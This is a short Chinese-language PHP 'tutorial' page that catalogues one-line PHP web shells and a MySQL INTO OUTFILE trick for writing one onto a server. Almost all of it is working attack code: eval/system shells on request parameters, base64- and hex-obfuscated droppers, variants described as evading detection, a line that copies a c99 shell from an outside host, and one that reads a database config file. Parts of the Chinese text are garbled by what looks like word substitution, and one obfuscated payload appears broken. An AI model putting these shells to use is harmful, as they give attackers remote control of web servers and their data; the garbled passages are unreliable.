PHP一句话木马小结与SQL语句写一句话木马-php教程

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1、根底类的一句话--性能仅限于验证破绽了,实际中十分容易被查出进去:

<?php @eval($_GET["code"])?>
<?php @system($_POST["cmd"])?>

2、编码的交换的类型:

<?php @fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));?>
//会天生<?php @eval($_POST['lostwolf']);?>

<script language="php">@fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));</script>
//php正在html外部的一种嵌入形式

<?php fputs (fopen(pack("H*","6c6f7374776f6c662e706870"),"w"),pack("H*","3c3f406576616c28245f504f53545b6c6f7374776f6c665d293f3e"))?>


<?php
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');?>

3、其余类型:

<?php $_GET[a]($_GET[b]);?>
//?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
<?php assert($_REQUEST["pass"]);?>     //菜刀衔接 规避检测 明码pass 
<?php substr(md5($_REQUEST['x']),28)=='acd0'&&eval($_REQUEST['pass']);?>
//菜刀提交  http://192.168.1.5/x.php?x=lostwolf  剧本类型:php  明码为 pass

4、下载类型:

<?php echo copy("http://www.r57.me/c99.txt","lostwolf.php"); ?> 
<? echo file_get_contents("..//cfg_database.php");?> //显示某文件
<? eval ( file_get_contents("近程shell")) ?> //运转近程shell

5、有关键函数类型:

<?php
$_="";
$_[+""]='';
$_="$_"."";
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
?>
<?php ${'_'.$_}['_'](${'_'.$_}['__']);?>
http://site/2.php?_=assert&__=eval($_POST['pass']) 明码是pass
<?$_="";$_[+""]='_';$_="$_"."";$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");?>

6、增补常识点:

SQL写一句话(MySQL):

select "<?php @system($_POST["pass"]);?>" into outfile "/home/webaccount/projectname/www/*.php"
#后面是一句话内容 前面是相对门路www下的PHP文件,同理其余剧本也能够

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